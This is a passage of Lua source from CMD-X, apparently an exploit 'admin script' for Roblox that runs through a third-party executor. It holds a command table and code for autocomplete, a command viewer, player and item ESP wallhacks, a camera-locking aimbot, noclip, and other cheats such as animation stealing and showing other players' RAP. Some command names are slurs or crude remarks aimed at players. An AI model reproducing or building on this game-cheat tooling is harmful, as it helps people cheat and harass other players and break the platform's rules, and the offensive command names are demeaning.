2842CMDN[#CMDN+1] = {N = "untruesight", A = {"unts"}, CMD = "383,untruesight/unts,,()."}
2843CMDN[#CMDN+1] = {N = "disableplayer", A = {""}, CMD = "384,disableplayer,(plr),Removes a player from your client.", ARG = "Player"}
2844CMDN[#CMDN+1] = {N = "enableplayer", A = {""}, CMD = "385,enableplayer,(plr),Brings back a player on your client.", ARG = "Player"}
2845CMDN[#CMDN+1] = {N = "gotopart", A = {"topart"}, CMD = "386,gotopart/topart,(part),Teleports your character to the part."}
2846CMDN[#CMDN+1] = {N = "clientbringpart", A = {"cbpart"}, CMD = "387,clientbringpart/cbpart,(part),Brings part to you."}
2847CMDN[#CMDN+1] = {N = "clientdeletepart", A = {"cdpart"}, CMD = "388,clientdeletepart/cdpart,(part),Deletes part."}
2848CMDN[#CMDN+1] = {N = "copyoutput", A = {""}, CMD = "389,copyoutput,(start|break),Copies output."}
2849CMDN[#CMDN+1] = {N = "copypath", A = {""}, CMD = "390,copypath,(part),Copies parts path."}
2850CMDN[#CMDN+1] = {N = "outputbind", A = {""}, CMD = "391,outputbind,(chat/default),Changes output bind."}
2851CMDN[#CMDN+1] = {N = "boobsize", A = {"bbsize"}, CMD = "392,boobsize/bbsize,(plr),Tells you the size of players boobs.", ARG = "Player"}
2852CMDN[#CMDN+1] = {N = "clearoutput", A = {""}, CMD = "393,clearoutput,,Cleared output."}
2853CMDN[#CMDN+1] = {N = "gotospawn", A = {"tospawn"}, CMD = "394,gotospawn/tospawn,,Teleports you to a spawn point."}
2854CMDN[#CMDN+1] = {N = "clearwaves", A = {""}, CMD = "395,clearwaves,,Clears waves on your client."}
2855CMDN[#CMDN+1] = {N = "calmwaves", A = {""}, CMD = "396,calmwaves,,Calms waves on your client."}
2856CMDN[#CMDN+1] = {N = "fov", A = {""}, CMD = "397,fov,(num),Changes FOV."}
2857CMDN[#CMDN+1] = {N = "mousesensitivity", A = {"sens"}, CMD = "398,mousesensitivity/sens,(1-10),Changes mouse sensitivity."}
2858CMDN[#CMDN+1] = {N = "volume", A = {"vol"}, CMD = "399,volume/vol,(0-1),Changes Master Volume."}
2859CMDN[#CMDN+1] = {N = "graphics", A = {""}, CMD = "400,graphics,(1-10),Changes Master Graphics."}
2860CMDN[#CMDN+1] = {N = "freecam", A = {"fc"}, CMD = "401,freecam/fc,,Activates freecam."}
2861CMDN[#CMDN+1] = {N = "unfreecam", A = {"unfc"}, CMD = "402,unfreecam/unfc,,()"}
2862CMDN[#CMDN+1] = {N = "reload", A = {""}, CMD = "403,reload,,Reloads CMD-X."}
2863CMDN[#CMDN+1] = {N = "backpack", A = {"viewpack"}, CMD = "404,backpack/viewpack,(plr),Lists tools in players backpack.", ARG = "Player"}
2864CMDN[#CMDN+1] = {N = "partesp", A = {"pesp"}, CMD = "405,partesp/pesp,(name/class|item),Shows all items that have the name or the class of what you enter."}
2865CMDN[#CMDN+1] = {N = "unpartesp", A = {"unpesp"}, CMD = "406,unpartesp/unpesp,,()"}
2866CMDN[#CMDN+1] = {N = "console", A = {"cprint"}, CMD = "407,console/cprint,(str),Prints to console."}
2867CMDN[#CMDN+1] = {N = "animspeed", A = {"emotespeed"}, CMD = "408,animspeed/emotespeed,(num),Speeds up animations (works best with .loop)."}
2868CMDN[#CMDN+1] = {N = "noprompt", A = {""}, CMD = "409,noprompt,,Stops games from pushing purchase prompts."}
2869CMDN[#CMDN+1] = {N = "yesprompt", A = {""}, CMD = "410,yesprompt,,()."}
2870CMDN[#CMDN+1] = {N = "rappu", A = {"rappublic"}, CMD = "411,rappu/rappublic,(plr),Shows players RAP publicly.", ARG = "Player"}
2871CMDN[#CMDN+1] = {N = "rappr", A = {"rapprivate"}, CMD = "412,rappr/rapprivate,(plr),Shows players RAP privately.", ARG = "Player"}
2872CMDN[#CMDN+1] = {N = "destroyunanchored", A = {"duna"}, CMD = "413,destroyunanchored/duna,,Destroys unanchored parts (works best with .loop)."}
2873CMDN[#CMDN+1] = {N = "retard", A = {"reet"}, CMD = "414,retard/reet,,.juicewrld but better, has three settings (noArgs, 1, and 2)"}
2874CMDN[#CMDN+1] = {N = "unretard", A = {"unreet"}, CMD = "415,unretard/unreet,,()"}
2875CMDN[#CMDN+1] = {N = "nocommands", A = {"nocmds"}, CMD = "416,nocommands/nocmds,,Disables all commands."}
2876CMDN[#CMDN+1] = {N = "yescommands", A = {"yescmds"}, CMD = "417,yescommands/yescmds,,()."}
2877CMDN[#CMDN+1] = {N = "forceplay", A = {""}, CMD = "418,forceplay,,Forcefully plays your sound if muted."}
2878CMDN[#CMDN+1] = {N = "unforceplay", A = {""}, CMD = "419,unforceplay,,()."}
2879CMDN[#CMDN+1] = {N = "timepos", A = {""}, CMD = "420,timepos,(num),Sets your sounds timepos."}
2880CMDN[#CMDN+1] = {N = "noguis", A = {""}, CMD = "421,noguis,,Disables player GUIs."}
2881CMDN[#CMDN+1] = {N = "yesguis", A = {""}, CMD = "422,yesguis,,()."}
2882CMDN[#CMDN+1] = {N = "guitruesight", A = {"gts"}, CMD = "423,guitruesight/gts,,Shows you hidden GUIs."}
2883CMDN[#CMDN+1] = {N = "unguitruesight", A = {"ungts"}, CMD = "424,unguitruesight/ungts,,()."}
2884CMDN[#CMDN+1] = {N = "freecamspeed", A = {"fcs"}, CMD = "425,freecamspeed/fcs,(num),Changes speed of freecam."}
2885CMDN[#CMDN+1] = {N = "permfreecamspeed", A = {"pfcs"}, CMD = "426,permfreecamspeed/pfcs,(num),Changes perm speed of freecam."}
2886CMDN[#CMDN+1] = {N = "nobillboardguis", A = {"nobgs"}, CMD = "427,nobillboardguis/nobgs,,Deletes all billboard guis."}
2887CMDN[#CMDN+1] = {N = "yesbillboardguis", A = {"yesbgs"}, CMD = "428,yesbillboardguis/yesbgs,,()."}
2888CMDN[#CMDN+1] = {N = "grippos", A = {"grip"}, CMD = "429,grippos/grip,(num1|num2|num3),Changes tools grip."}
2889CMDN[#CMDN+1] = {N = "shiftwalkspeed", A = {"shiftws"}, CMD = "430,shiftwalkspeed/shiftws,(num),If pressing shift your walkspeed will change."}
2890CMDN[#CMDN+1] = {N = "unshiftwalkspeed", A = {"unshiftws"}, CMD = "431,unshiftwalkspeed/unshiftws,,()."}
2891CMDN[#CMDN+1] = {N = "animationsteal", A = {"animsteal","animrob","asteal"}, CMD = "432,animationsteal/animsteal/animrob/asteal,,Copies a players animations."}
2892CMDN[#CMDN+1] = {N = "unanimationsteal", A = {"unanimsteal","unanimrob","unasteal"}, CMD = "433,unanimationsteal/unanimsteal/unanimrob/unasteal,,()"}
2893CMDN[#CMDN+1] = {N = "nohurtoverlay", A = {"nohurtol"}, CMD = "434,nohurtoverlay/nohurtol,,Turns off hurt overlay/animation."}
2894CMDN[#CMDN+1] = {N = "yeshurtoverlay", A = {"yeshurtol"}, CMD = "435,yeshurtoverlay/yeshurtol,,()"}
2895CMDN[#CMDN+1] = {N = "gotofreecam", A = {"tofreecam","gotofc","tofc"}, CMD = "436,gotofreecam/tofreecam/gotofc/tofc,,Teleports your character to freecams current position."}
2896CMDN[#CMDN+1] = {N = "compilecommand", A = {"ccmd"}, CMD = "437,compilecommand/ccmd,(READ PIN IN SHARE PLUGINS),Compiles a command in table form."}
2897CMDN[#CMDN+1] = {N = "restorelocalscripts", A = {"relocalscripts","rels"}, CMD = "438,restorelocalscripts/relocalscripts/rels,,Restores local scripts."}
2898CMDN[#CMDN+1] = {N = "newaudios", A = {""}, CMD = "439,newaudios,(amount),Lists newest audio IDs uploaded to roblox."}
2899CMDN[#CMDN+1] = {N = "removecustomnametag", A = {"rcnt"}, CMD = "440,removecustomnametag/rcnt,,Removes custom nametag if the game gives it to you."}
2900CMDN[#CMDN+1] = {N = "stubby", A = {""}, CMD = "441,stubby,,Makes you stubby."}
2901currentCMDNUM = "437"
2902--[[xDMS = ""
2903for i,v in pairs(CMDN) do
2904 xDMS = xDMS..CMDN[i].CMD.."\n"
2905end
2906setclipboard(xDMS)]]
2907local value = math.random(1,#CMDN)
2908local picked_val = CMDN[value]
2909local phrasesFor = {"Wash your hands!","You have 4 days left on your isolation.","Pigeon is NOT a dove.","Thanks for 60k users!","Welcome to CMD-X!","Welcome to the best admin script.","Hello stranger.","Hello, "..cmdlp.Name..".",picked_val.N.." is the best command!","Want a theme? Use .cs bg (id)!","Want a plugin? Find some in the discord server!","Use 'support' for support!","[CMD-X]","Fun fact: CMD-X does not work on free executors!","Need help?","How are you today?","Happy birthday!"}
2910local value = math.random(1,#phrasesFor)
2911local picked_value = phrasesFor[value]
2912output4.Text = tostring(picked_value)
2913PCs = {"far","random","new","old","bacon","friend","notfriend","ally","enemy","near","me"}
2914cmd.Changed:Connect(function()
2915 local checkargs = cmd.Text:split(" ")
2916 if checkargs[2] then
2917 for i,v in pairs(CMDN)do
2918 for _,x in pairs(CMDN[i].A) do
2919 if checkargs[1] == CMDN[i].N or checkargs[1] == CMDN[i].A[_] then cmdsu.Text = "" end
2920 end
2921 end
2922 end
2923 if cmd.Text ~= "" and not checkargs[2] and suggestions == true then
2924 for i,v in pairs(CMDN)do
2925 for _,x in pairs(CMDN[i].A) do
2926 local z = string.match(CMDN[i].N,cmd.Text)
2927 local m = string.match(CMDN[i].A[_],cmd.Text)
2928 if z ~= nil then
2929 if CMDN[i].N:sub(1,#cmd.Text) == cmd.Text then
2930 cmdsu.Text = CMDN[i].N
2931 end
2932 end
2933 if m ~= nil then
2934 if CMDN[i].A[_]:sub(1,#cmd.Text) == cmd.Text then
2935 cmdsu.Text = CMDN[i].A[_]
2936 end
2937 end
2938 if cmd.Text == nil or cmd.Text == "Enter CMD here" then
2939 cmdsu.Text = ""
2940 end
2941 end
2942 end
2943 elseif cmd.Text ~= "" and checkargs[2] and suggestions == true then
2944 for i,c in pairs(CMDN) do
2945 for _,x in pairs(CMDN[i].A) do
2946 if CMDN[i].N == checkargs[1] or CMDN[i].A[_] == checkargs[1] and CMDN[i].ARG == "Player" then
2947 for m,v in pairs(cmdp:GetPlayers()) do
2948 for p,o in pairs(PCs) do
2949 if CMDN[i].ARG == "Player" then
2950 NewName = v.Name:lower()
2951 local z = string.match(NewName,checkargs[2])
2952 local m = string.match(PCs[p],checkargs[2])
2953 if z ~= nil then
2954 if NewName:sub(0,#checkargs[2]) == checkargs[2] then
2955 cmdsu.Text = checkargs[1].." "..NewName
2956 end
2957 end
2958 if m ~= nil then
2959 if PCs[p]:sub(0,#checkargs[2]) == checkargs[2] then
2960 cmdsu.Text = checkargs[1].." "..PCs[p]
2961 end
2962 end
2963 end
2964 end
2965 end
2966 end
2967 end
2968 end
2969 else
2970 cmdsu.Text = ""
2971 end
2972end)
2973cmd.FocusLost:Connect(function()
2974 cmdsu.Text = ""
2975end)
2976cmduis.InputBegan:Connect(function()
2977 if cmduis:IsKeyDown(Enum.KeyCode.RightShift) and cmd:IsFocused() then
2978 cmd.Text = cmdsu.Text
2979 cmd.CursorPosition = #cmd.Text+1
2980 elseif cmduis:IsKeyDown(Enum.KeyCode.Tab) and cmd:IsFocused() then
2981 wait(.1)
2982 cmd.Text = cmdsu.Text
2983 cmd.CursorPosition = #cmd.Text+1
2984 end
2985end)
2986
2987local cmdsholder = Instance.new("Frame")
2988local Cmdsearch = Instance.new("TextBox")
2989local cmdviewertitle = Instance.new("TextLabel")
2990local xoutofcmds = Instance.new("TextButton")
2991local scrollholder = Instance.new("Frame")
2992local ref = Instance.new("TextLabel")
2993local splitter = Instance.new("Frame")
2994local Scrollingcmdi = Instance.new("ScrollingFrame")
2995
2996cmdsholder.Name = "cmdsholder"
2997cmdsholder.Parent = Unnamed
2998cmdsholder.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
2999cmdsholder.BorderSizePixel = 0
3000cmdsholder.Position = UDim2.new(0.217357904, 0, 0.208845213, 0)
3001cmdsholder.Size = UDim2.new(0, 424, 0, 294)
3002cmdsholder.Draggable = true
3003cmdsholder.Active = true
3004cmdsholder.Visible = false
3005
3006Cmdsearch.Name = "Cmdsearch"
3007Cmdsearch.Parent = cmdsholder
3008Cmdsearch.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
3009Cmdsearch.BorderSizePixel = 0
3010Cmdsearch.Position = UDim2.new(0.245283023, 0, 0.884353757, 0)
3011Cmdsearch.Size = UDim2.new(0, 213, 0, 26)
3012Cmdsearch.Font = Enum.Font.SourceSans
3013Cmdsearch.PlaceholderText = "Search commands..."
3014Cmdsearch.Text = ""
3015Cmdsearch.TextColor3 = Color3.fromRGB(255, 255, 255)
3016Cmdsearch.TextSize = 14
3017
3018cmdviewertitle.Name = "cmdviewertitle"
3019cmdviewertitle.Parent = cmdsholder
3020cmdviewertitle.BackgroundColor3 = Color3.new(1, 1, 1)
3021cmdviewertitle.BackgroundTransparency = 1
3022cmdviewertitle.Position = UDim2.new(0.264150947, 0, 0, 0)
3023cmdviewertitle.Size = UDim2.new(0, 200, 0, 22)
3024cmdviewertitle.Font = Enum.Font.GothamBold
3025cmdviewertitle.Text = "CMD-X COMMANDS VIEWER"
3026cmdviewertitle.TextColor3 = Color3.new(1, 1, 1)
3027cmdviewertitle.TextSize = 14
3028
3029xoutofcmds.Name = "xoutofcmds"
3030xoutofcmds.Parent = cmdsholder
3031xoutofcmds.BackgroundColor3 = Color3.new(1, 1, 1)
3032xoutofcmds.BackgroundTransparency = 1
3033xoutofcmds.Position = UDim2.new(0.948113203, 0, 0, 0)
3034xoutofcmds.Size = UDim2.new(0, 22, 0, 22)
3035xoutofcmds.Font = Enum.Font.GothamBold
3036xoutofcmds.Text = "X"
3037xoutofcmds.TextColor3 = Color3.new(1, 1, 1)
3038xoutofcmds.TextSize = 20
3039xoutofcmds.MouseButton1Down:Connect(function()
3040 Scrollingcmdi:ClearAllChildren()
3041 cmdsholder.Visible = false
3042end)
3043
3044scrollholder.Name = "scrollholder"
3045scrollholder.Parent = cmdsholder
3046scrollholder.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
3047scrollholder.BorderSizePixel = 0
3048scrollholder.Position = UDim2.new(0.0306603778, 0, 0.0748299286, 0)
3049scrollholder.Size = UDim2.new(0, 397, 0, 232)
3050
3051ref.Name = "ref"
3052ref.Parent = scrollholder
3053ref.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
3054ref.BorderSizePixel = 0
3055ref.Size = UDim2.new(0, 397, 0, 20)
3056ref.Font = Enum.Font.Gotham
3057ref.Text = " Num | Names | Arguments | Description "
3058ref.TextColor3 = Color3.new(1, 1, 1)
3059ref.TextSize = 14
3060ref.TextXAlignment = Enum.TextXAlignment.Left
3061
3062splitter.Name = "splitter"
3063splitter.Parent = scrollholder
3064splitter.BackgroundColor3 = Color3.new(1, 1, 1)
3065splitter.BorderColor3 = Color3.new(1, 1, 1)
3066splitter.Position = UDim2.new(0.0100755664, 0, 0.0892857313, 0)
3067splitter.Size = UDim2.new(0, 389, 0, 0)
3068
3069Scrollingcmdi.Name = "Scrollingcmdi"
3070Scrollingcmdi.Parent = scrollholder
3071Scrollingcmdi.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
3072Scrollingcmdi.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
3073Scrollingcmdi.BorderSizePixel = 0
3074Scrollingcmdi.Position = UDim2.new(0.00986763742, 0, 0.102678575, 0)
3075Scrollingcmdi.Size = UDim2.new(0, 389, 0, 204)
3076Scrollingcmdi.ScrollBarThickness = 10
3077function CreateCMDLabel(num,name,arg,func)
3078 local sf2 = Scrollingcmdi
3079 if #sf2:GetChildren() >= 2546 then
3080 sf2:ClearAllChildren()
3081 end
3082 local alls2 = 0
3083 for i,v in pairs(sf2:GetChildren()) do
3084 if v then
3085 alls2 = v.Size.Y.Offset + alls2
3086 end
3087 if not v then
3088 alls2 = 0
3089 end
3090 end
3091 local tl2 = Instance.new('TextLabel', sf2)
3092 local il2 = Instance.new('Frame', tl2)
3093 tl2.Name = name
3094 tl2.ZIndex = 6
3095 tl2.Text = num.." | "..name.." | "..arg.." | "..func
3096 tl2.Size = UDim2.new(0,322,0,50)
3097 tl2.BackgroundTransparency = 1
3098 tl2.BorderSizePixel = 0
3099 tl2.Font = "SourceSansBold"
3100 tl2.Position = UDim2.new(-1,0,0,alls2)
3101 tl2.TextTransparency = 1
3102 tl2.TextScaled = false
3103 tl2.TextSize = 14
3104 tl2.TextWrapped = true
3105 tl2.TextXAlignment = "Left"
3106 tl2.TextYAlignment = "Top"
3107 il2.BackgroundTransparency = 1
3108 il2.BorderSizePixel = 0
3109 il2.Size = UDim2.new(0,12,1,0)
3110 il2.Position = UDim2.new(0,316,0,0)
3111 tl2.TextColor3 = Color3.fromRGB(255,255,255)
3112 tl2.Size = UDim2.new(0,322,0,tl2.TextBounds.Y)
3113 tl2.Position = UDim2.new(0,3,0,alls2)
3114 sf2.CanvasSize = UDim2.new(0,0,0,alls2+tl2.TextBounds.Y)
3115 sf2.CanvasPosition = Vector2.new(0,sf2.CanvasPosition.Y+tl2.TextBounds.Y)
3116 local size22 = sf2.CanvasSize.Y.Offset
3117 tl2.TextTransparency = 0
3118end
3119
3120Cmdsearch.FocusLost:Connect(function()
3121 Scrollingcmdi:ClearAllChildren()
3122 if Cmdsearch.Text ~= "" then
3123 for i,v in pairs(CMDN)do
3124 for _,x in pairs(CMDN[i].A) do
3125 local z = string.find(CMDN[i].N,Cmdsearch.Text)
3126 local m = string.find(CMDN[i].A[_],Cmdsearch.Text)
3127 if z ~= nil then
3128 if CMDN[i].N:sub(1,#Cmdsearch.Text) == Cmdsearch.Text then
3129 local CS = CMDN[i].CMD:split(",")
3130 CreateCMDLabel(CS[1],CS[2],CS[3],CS[4])
3131 end
3132 end
3133 if m ~= nil then
3134 if CMDN[i].A[_]:sub(1,#Cmdsearch.Text) == Cmdsearch.Text then
3135 local CS = CMDN[i].CMD:split(",")
3136 CreateCMDLabel(CS[1],CS[2],CS[3],CS[4])
3137 end
3138 end
3139 end
3140 end
3141 else
3142 for i = 1,#CMDN do
3143 local CS = CMDN[i].CMD:split(",")
3144 CreateCMDLabel(CS[1],CS[2],CS[3],CS[4])
3145 end
3146 end
3147end)
3148function refresh()
3149 LPos = cmdlp.Character.HumanoidRootPart.CFrame
3150 cmdlp.Character.Humanoid.PlatformStand = false
3151 cmdlp.Character.Humanoid.Health = 0
3152 cmdlp.Character.Head.CFrame = CFrame.new(1e9,0,1e9)
3153 cmdlp.Character.HumanoidRootPart:Destroy()
3154 repeat wait() until cmdlp.Character ~= nil and cmdlp.Character:FindFirstChild('HumanoidRootPart')
3155 cmdlp.Character.HumanoidRootPart.CFrame = LPos
3156end
3157function IESP(v)
3158 spawn(function()
3159 for i,n in pairs(cmdlp.PlayerGui:GetChildren()) do
3160 if n.Name == v:GetFullName()..'_IESP' then
3161 n:Destroy()
3162 end
3163 end
3164 wait()
3165 IESPholder = Instance.new("Folder", cmdlp.PlayerGui)
3166 IESPholder.Name = v:GetFullName()..'_IESP'
3167 local a = Instance.new("BoxHandleAdornment", IESPholder)
3168 a.Name = v.Name
3169 a.Adornee = v
3170 a.AlwaysOnTop = true
3171 a.ZIndex = 0
3172 a.Size = v.Size
3173 a.Transparency = 0.8
3174 a.Color = v.BrickColor
3175 local BillboardGui = Instance.new("BillboardGui", IESPholder)
3176 local TextLabel = Instance.new("TextLabel")
3177 BillboardGui.Adornee = v
3178 BillboardGui.Name = v.Name
3179 BillboardGui.Size = UDim2.new(0, 100, 0, 150)
3180 BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
3181 BillboardGui.AlwaysOnTop = true
3182 TextLabel.Parent = BillboardGui
3183 TextLabel.BackgroundTransparency = 1
3184 TextLabel.Position = UDim2.new(0, 0, 0, -60)
3185 TextLabel.Size = UDim2.new(0, 100, 0, 100)
3186 TextLabel.Font = Enum.Font.SourceSansSemibold
3187 TextLabel.TextSize = 20
3188 TextLabel.TextColor3 = Color3.new(1, 1, 1)
3189 TextLabel.TextStrokeTransparency = 0.6
3190 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
3191 TextLabel.Text = v.Name
3192 end)
3193end
3194workspace.DescendantAdded:Connect(function(i)
3195 if IESPenabled then
3196 local pi = i.Name:lower()
3197 local pt = "handle"
3198 local pt1 = "tool"
3199 local pt2 = "item"
3200 local z = string.find(pi,pt)
3201 local z1 = string.find(pi,pt1)
3202 local z2 = string.find(pi,pt2)
3203 if i:IsA("BasePart") and i.Parent.ClassName ~= "Accessory" then
3204 if z ~= nil or z1 ~= nil or z2 ~= nil then
3205 IESP(i)
3206 end
3207 end
3208 end
3209end)
3210workspace.DescendantRemoving:connect(function(i)
3211 if IESPenabled then
3212 for a,v in pairs(cmdlp.PlayerGui:GetChildren()) do
3213 if v.Name == i:GetFullName()..'_IESP' then
3214 v:Destroy()
3215 end
3216 end
3217 end
3218end)
3219function ESP(plr)
3220 spawn(function()
3221 for i,v in pairs(cmdlp.PlayerGui:GetChildren()) do
3222 if v.Name == plr.Name..'_ESP' then
3223 v:Destroy()
3224 end
3225 end
3226 wait()
3227 if plr.Character and plr.Name ~= cmdp.LocalPlayer.Name and not cmdp.LocalPlayer.PlayerGui:FindFirstChild(plr.Name..'_ESP') then
3228 local ESPholder = Instance.new("Folder", cmdlp.PlayerGui)
3229 ESPholder.Name = plr.Name..'_ESP'
3230 for b,n in pairs (plr.Character:GetChildren()) do
3231 if (n:IsA("BasePart")) then
3232 local a = Instance.new("BoxHandleAdornment", ESPholder)
3233 a.Name = plr.Name
3234 a.Adornee = n
3235 a.AlwaysOnTop = true
3236 a.ZIndex = 0
3237 a.Size = n.Size
3238 a.Transparency = 0.8
3239 for i,m in pairs(plr.Character:GetChildren()) do
3240 if m:IsA("Part") or m:IsA("MeshPart") then
3241 if m.Name ~= "HumanoidRootPart" and m.Name ~= "Handle" or (m:IsA("Part")) then
3242 m.Material = "ForceField"
3243 a.Color = m.BrickColor
3244 end
3245 end
3246 end
3247 end
3248 end
3249 if plr.Character and plr.Character:FindFirstChild('Head') then
3250 local BillboardGui = Instance.new("BillboardGui", ESPholder)
3251 local TextLabel = Instance.new("TextLabel")
3252 BillboardGui.Adornee = plr.Character.Head
3253 BillboardGui.Name = plr.Name
3254 BillboardGui.Size = UDim2.new(0, 100, 0, 150)
3255 BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
3256 BillboardGui.AlwaysOnTop = true
3257 TextLabel.Parent = BillboardGui
3258 TextLabel.BackgroundTransparency = 1
3259 TextLabel.Position = UDim2.new(0, 0, 0, -60)
3260 TextLabel.Size = UDim2.new(0, 100, 0, 100)
3261 TextLabel.Font = Enum.Font.SourceSansSemibold
3262 TextLabel.TextSize = 20
3263 TextLabel.TextColor3 = Color3.new(1, 1, 1)
3264 TextLabel.TextStrokeTransparency = 0.6
3265 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
3266 plr.CharacterAdded:Connect(function()
3267 if ESPenabled then
3268 espLoopFunc:Disconnect()
3269 ESPholder:Destroy()
3270 repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
3271 ESP(plr)
3272 end
3273 end)
3274 local function espLoop()
3275 if cmdlp.PlayerGui:FindFirstChild(plr.Name..'_ESP') then
3276 if plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid') then
3277 TextLabel.Text = plr.Name.."|Studs: ".. math.floor((cmdlp.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude).."|Health: "..plr.Character.Humanoid.Health
3278 end
3279 else
3280 espLoopFunc:Disconnect()
3281 end
3282 end
3283 espLoopFunc = game:GetService("RunService").RenderStepped:Connect(espLoop)
3284 end
3285 end
3286 end)
3287end
3288cmdp.PlayerRemoving:connect(function(player)
3289 for i,v in pairs(cmdlp.PlayerGui:GetChildren()) do
3290 if v.Name == player.Name..'_ESP' or v.Name == player.Name..'_LC' then
3291 v:Destroy()
3292 end
3293 end
3294end)
3295
3296Enabledaimbot = false
3297function BodyAimbot()
3298 if Enabledaimbot == true then
3299 repeat wait() until #cmdp:GetPlayers() > 1
3300 local SPS = .001
3301 local LPCHead = cmdlp.Character:FindFirstChild("Head")
3302 local LPCTorso = cmdlp.Character:FindFirstChild("UpperTorso")
3303 local LPCHRPart = cmdlp.Character:FindFirstChild("HumanoidRootPart")
3304 local Closest = nil
3305 local Camera = cmdws:FindFirstChild("Camera")
3306 local aehl = Instance.new("BoxHandleAdornment", cmdlp.PlayerGui)
3307 aehl.Name = "ESPhelp"
3308 aehl.AlwaysOnTop = true
3309 aehl.ZIndex = 0
3310 aehl.Size = Vector3.new(2, 2.1, 1)
3311 aehl.Transparency = 0.8
3312 aehl.Color3 = Color3.new(255,0,0)
3313 local try = 1
3314 local teamcount = game.Teams:GetTeams()
3315 local teams = false
3316 if #teamcount >= 1 then
3317 teams = true
3318 end
3319 local Launch = false
3320 local launchCFrame = nil
3321 local function searchplr(requestedplr)
3322 if PlayersWLsystem[requestedplr.Name] == true then
3323 return false
3324 elseif PlayersWLsystem[requestedplr.Name] == false then
3325 return true
3326 end
3327 end
3328 while Enabledaimbot == true do
3329 local Distance = 100000
3330 for count,TargetP in pairs(cmdp:GetPlayers()) do
3331 if searchplr(TargetP) then
3332 if (TargetP ~= nil) and TargetP ~= cmdlp then
3333 local TC = TargetP.Character
3334 local TCHRPart = nil
3335 if TC then
3336 TCHRPart = TC:FindFirstChild("HumanoidRootPart")
3337 end
3338 if TCHRPart then
3339 try = 1
3340 local DistanceMAg = (TCHRPart.Position - LPCHRPart.Position).Magnitude
3341 if DistanceMAg < Distance and TCHRPart.Parent.Humanoid.Health > 0 then
3342 if teams then
3343 if TargetP.Team ~= cmdlp.Team then
3344 Closest = TCHRPart
3345 launchCFrame = TCHRPart.CFrame
3346 Distance = DistanceMAg
3347 opx("Target: "..Closest.Parent.Name)
3348 aehl.Adornee = TCHRPart
3349 Camera.CFrame = CFrame.new(LPCHRPart.Position,Closest.Position)
3350 end
3351 elseif not teams then
3352 Closest = TCHRPart
3353 Distance = DistanceMAg
3354 aehl.Adornee = TCHRPart
3355 Camera.CFrame = CFrame.new(LPCHRPart.Position,Closest.Position)
3356 end
3357 end
3358 elseif not TCHRPart then
3359 try = try + 1
3360 break
3361 end
3362 end
3363 elseif not searchplr(TargetP) then
3364 opx("Target is whitelisted!")
3365 end
3366 end
3367 local currentRP = LPCHRPart:FindFirstChild("Launch")
3368 if currentRP ~= nil then
3369 currentRP.Target = Closest
3370 if Noclipping then
3371 currentRP.MaxSpeed = 100
3372 elseif not Noclipping then
3373 currentRP.MaxSpeed = 1000
3374 end
3375 end
3376 cmduis.InputBegan:connect(function(input)
3377 if cmduis:IsKeyDown(Enum.KeyCode.KeypadPlus) and Enabledaimbot then
3378 Launch = not Launch
3379 local ps = cmdlp.Character.Humanoid.PlatformStand
3380 ps = Launch
3381 if Launch then
3382 local rp = Instance.new("RocketPropulsion")
3383 rp.Parent = LPCHRPart
3384 rp.CartoonFactor = 1
3385 rp.MaxThrust = 5000
3386 rp.MaxSpeed = 1000
3387 rp.ThrustP = 5000
3388 rp.Name = "Launch"
3389 currentRP = rp
3390 rp:Fire()
3391 elseif not Launch then
3392 for i,des in pairs(LPCHRPart:GetChildren()) do
3393 if des:IsA("RocketPropulsion") and des.Name == "Launch" then
3394 des:Destroy()
3395 end
3396 end
3397 end
3398 end
3399 end)
3400 cmdrs2.Heartbeat:Wait()
3401 end
3402 elseif not Enabledaimbot then
3403 local findESP = cmdlp.PlayerGui:FindFirstChild("ESPhelp")
3404 if findESP then
3405 findESP:Destroy()
3406 end
3407 end
3408end
3409cmduis.InputBegan:connect(function(input)
3410 if cmduis:IsKeyDown(Enum.KeyCode.KeypadPlus) and not Enabledaimbot then
3411 for i,des in pairs(cmdlp.Character.HumanoidRootPart:GetChildren()) do
3412 if des:IsA("RocketPropulsion") and des.Name == "Launch" then
3413 des:Destroy()
3414 end
3415 end
3416 end
3417end)
3418
3419if Noclipping then
3420 Noclipping:Disconnect()
3421end
3422Clip = true
3423function noclip()
3424 Clip = false
3425 local function NoclipLoop()
3426 if Clip == false and cmdlp.Character ~= nil then
3427 for _, child in pairs(cmdlp.Character:GetDescendants()) do
3428 if child:IsA("BasePart") and child.CanCollide == true then
3429 child.CanCollide = false
3430 end
3431 end
3432 end
3433 end
3434 Noclipping = game:GetService('RunService').Stepped:connect(NoclipLoop)
3435end
3436
3437cmdlp.Character:FindFirstChildWhichIsA("Humanoid").Died:Connect(function()
3438 if conFly == true then
3439 if FLYING == true then
3440 repeat wait() until cmdlp.Character ~= nil and cmdlp.Character:FindFirstChild('HumanoidRootPart') and cmdlp.Character:FindFirstChild('Humanoid')
3441 wait(2)
3442 FLYING = false
3443 cmdlp.Character.Humanoid.PlatformStand = false
3444 sFLY()
3445 speedofthefly = permflyspeed
3446 end
3447 end
3448 Enabledaimbot = false
3449 if Clip == false then
3450 Clip = true
3451 wait(1)
3452 Clip = false
3453 end
3454end)
3455cmdlp.CharacterAdded:Connect(function(char)
3456 wait(2)
3457 char:FindFirstChildWhichIsA("Humanoid").Died:Connect(function()
3458 if conFly == true then
3459 if FLYING == true then
3460 repeat wait() until cmdlp.Character ~= nil and cmdlp.Character:FindFirstChild('HumanoidRootPart') and cmdlp.Character:FindFirstChild('Humanoid')
3461 wait(.1)
3462 FLYING = false
3463 cmdlp.Character.Humanoid.PlatformStand = false
3464 sFLY()
3465 speedofthefly = permflyspeed
3466 end
3467 end
3468 Enabledaimbot = false
3469 if Clip == false then
3470 Clip = true
3471 wait(1)
3472 Clip = false
3473 end
3474 end)
3475end)
3476---------------------------------------|
3477-- Commands: --------------------------|
3478
3479function opx(f,text)
